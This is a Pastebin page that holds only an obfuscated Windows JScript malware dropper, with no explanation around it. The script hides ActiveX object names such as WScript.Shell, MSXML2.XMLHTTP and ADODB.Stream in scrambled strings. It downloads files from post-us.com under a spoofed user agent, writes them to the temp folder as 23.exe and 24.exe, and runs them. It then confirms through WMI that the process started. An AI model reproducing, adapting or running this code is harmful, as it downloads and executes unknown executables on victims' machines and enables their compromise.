Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function CDKBTxv() {var tZQu=99999+1;var AniOiB = 100;return Math.round(eDpMXMk()*(tZQu-AniOiB)+AniOiB);}
- function whcgfDuU(iHUjc) {var zPRNJPlM='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz';for(var pghYY=0;pghYY<iHUjc;pghYY++){zXVOh+=zPRNJPlM.charAt(Math.floor(Math.random()*zPRNJPlM.length));}return zXVOh;}
- function fymoCiOiVgVCwl(FbONqLlFbjxekB) {return new ActiveXObject(FbONqLlFbjxekB);}
- var KkPrfua = new Date();
- while(true) {
- var VwDyQjP = new Date();
- var sVpKwAm = new Date(VwDyQjP.getTime() - KkPrfua.getTime());
- if(sVpKwAm.getSeconds() > 5) {
- break;
- }
- WScript.Sleep(500);
- }
- function VctRryJFAL(UWGHYvvF,uievgNtwHpzB) {uaWcSJr=0x0+1;TJqnufN=0x0;UWGHYvvF.Run(uievgNtwHpzB, uaWcSJr, TJqnufN);}
- /*mvQAiQjvnwbUbtDPulBzTegPuBdcxJFfbgwqCWOBaLscTEtNffDZjuhEeaRUmeSNIjVAPwmaGuCEFjceKtzTtdcNGTygVSYOjHodWpETfwGzkhGPhaogxgRqdfZLxaYiEyAaWCPfySEOIycTzaXNuDzmtKtJSBSWSIGrQiULLHvwbjtrKuzNltaCCJHbhwFeamFbEiSKRQ*/swhYtFwjECImR();
- var TXsuw = ["http://post-us.com/2/2.php"];
- var bPIDk = ["http://post-us.com/3/1.php"];
- sUzasxicPsv(TXsuw, '23.exe');
- sUzasxicPsv(bPIDk, '24.exe');
- function sUzasxicPsv(sooBsUz,vclIsUucm) {
- var mDpw=228-228;
- while(true) {
- if(sooBsUz.length<=536-536) break;
- var WAjB = CDKBTxv() % sooBsUz.length;
- var WUEMHZWsa=sooBsUz[WAjB];
- var qqlyD=CDKBTxv();
- var MNXbWmmCUm=vclIsUucm;
- var ChYTCRr=vclIsUucm;
- var DwfHWkCF=733-732;
- var excUKFvNO = function(){
- var euLDywTL = new ActiveXObject(tVYhT('WS&XKowapLhc&cript&XKowapLhc&.She&l&l',[0,2,4,5,6],'&'));
- return euLDywTL;
- }();
- var ChYTCRr = NuXELG(excUKFvNO) + String.fromCharCode(92) + ChYTCRr;
- var iGZCS = function(){
- return new ActiveXObject(tVYhT('MSX&eyIPlrFsH&ML2.XM&ITxpbjyJANk&LHTTP',[0,2,4],'&'));
- }();
- hngT(WUEMHZWsa,iGZCS);
- if (iGZCS.status == 201-1) {
- var RASnGQI = function() {
- return new ActiveXObject(tVYhT('ADO&DB&NLqcZNdPr&.&kNQohDYOk&Stream',[0,1,3,5],'&'));
- }();
- var KdRsJTsMFtMp=AkwNi(RASnGQI,iGZCS.ResponseBody,ChYTCRr);
- }
- try {
- VctRryJFAL(excUKFvNO,ChYTCRr);
- var NPSstLz = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \''+MNXbWmmCUm+'\'');
- if ( NPSstLz.Count >= 1 ){break;}
- } catch(e) {}
- mDpw++;
- sooBsUz.splice (WAjB,452-451);
- }
- }
- function NuXELG(bQtfdn){var hIqECXEQ=["ExpandEnvironmentStrings"];return bQtfdn[hIqECXEQ[0]]('%TMP%')}
- function AkwNi(REZTlpOY,RGqqG,jrmdcdEgRl){try{REZTlpOY.open();UgLiDIlH(REZTlpOY);OIYfyrb(REZTlpOY,RGqqG);oDttFWBKy(REZTlpOY);mYZF(REZTlpOY,jrmdcdEgRl);KoHaxAbh=REZTlpOY.size;qTKBSRf(REZTlpOY);return KoHaxAbh;}catch(e){}}
- function hngT(HAzToL,mvVSYiU){try{vOtc = 'G*rlNKfxBMJa*E*T*vzCaGOHdTYym'.split('*');mvVSYiU.open(vOtc[0]+vOtc[2]+vOtc[3], HAzToL, false);mvVSYiU.setRequestHeader("User-Agent", "Python-urllib/3.1");mvVSYiU.send();}catch(e){}}
- function HfzNQn(CoMnAsF,XrEhHAeD){return CoMnAsF.split(XrEhHAeD);}
- function tVYhT(WHSDTwZj,ePGWvM,sCkKpmpIa){xrMqG=HfzNQn(WHSDTwZj,sCkKpmpIa);dtgzRtj = 'lyI';for(LcfFloYJ=0;LcfFloYJ<ePGWvM.length;LcfFloYJ++) {dtgzRtj+=xrMqG[ePGWvM[LcfFloYJ]];}return dtgzRtj.substring(3,dtgzRtj.length);}
- function swhYtFwjECImR() {/*VthZueDKca().Sleep(3798-116);*/}
- function eDpMXMk(){var LovPKo=["random"];return Math[LovPKo[0]]()}
- function Drxz(FsWaRF) {FsWaRF.open();}
- function UgLiDIlH(HYQgtUykx) {HYQgtUykx.type=1;}
- function OIYfyrb(dpZy,BgDUl) {dpZy.write(BgDUl);}
- function VthZueDKca() {return/*xatndMqwelrFMrwtNvdRsojDmqnKHqpQoILZtjAQGmivoHFrbNsLfwrhmZbKGpvYZKXdDbFDcFSEJqIKizAaMXsfedIdyIuADfcBGlDLs*/WScript;}
- function oDttFWBKy(gwvKhJ) {var lGxtsfZfCz=[];gwvKhJ.position=lGxtsfZfCz.length*(2363020-229);}
- function mYZF(jCwQpYd,XAOGsrf) {jCwQpYd.saveToFile(XAOGsrf, 2);}
- function qTKBSRf(hzgAC) {hzgAC.close();}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement